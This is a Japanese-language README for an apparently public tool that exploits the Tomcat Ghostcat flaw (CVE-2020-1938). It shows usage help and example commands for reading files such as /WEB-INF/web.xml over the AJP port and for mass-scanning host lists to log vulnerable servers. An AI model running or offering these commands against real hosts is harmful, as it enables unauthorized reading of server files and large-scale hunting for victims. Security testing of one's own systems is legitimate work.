just1cep4rtn3r/cve-2020-1938-toolGhostCat脆弱性の一括検出
まず、AJPプロトコルリクエスト構築ツールAJPY（Pythonライブラリ）を提供してくれたhypn0sに感謝します。本プロジェクトはこれを基に、Ghostcat脆弱性サイトの一括検出を実装しています。
現在、2つの機能があります。
usage: tomcat.py [-h] {read_file,scan_files} ...
positional arguments:
{read_file,scan_files}
read_file Exploit CVE-2020-1938
scan_files scan a file list
optional arguments:
-h, --help show this help message and exit
usage: tomcat.py read_file [-h] [-H HOST] [-p PORT] [--webapp WEBAPP]
[-f FILE]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST The host to check
-p PORT, --port PORT The port of AJP connector(default is 8009)
--webapp WEBAPP webapp
-f FILE, --file FILE The relative path of file to read
python3 tomcat.py read_file -H 127.0.0.1 --webapp manager -f /WEB-INF/web.xml
usage: tomcat.py scan_files [-h] [-f FILE] [-t THREADS] [-o OUT]
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE Host list(only one url in a line)
-t THREADS, --threads THREADS
-o OUT, --out OUT output the vulnerable host to file
python3 tomcat.py scan_files -t 5 -f host_files.txt -o result.txt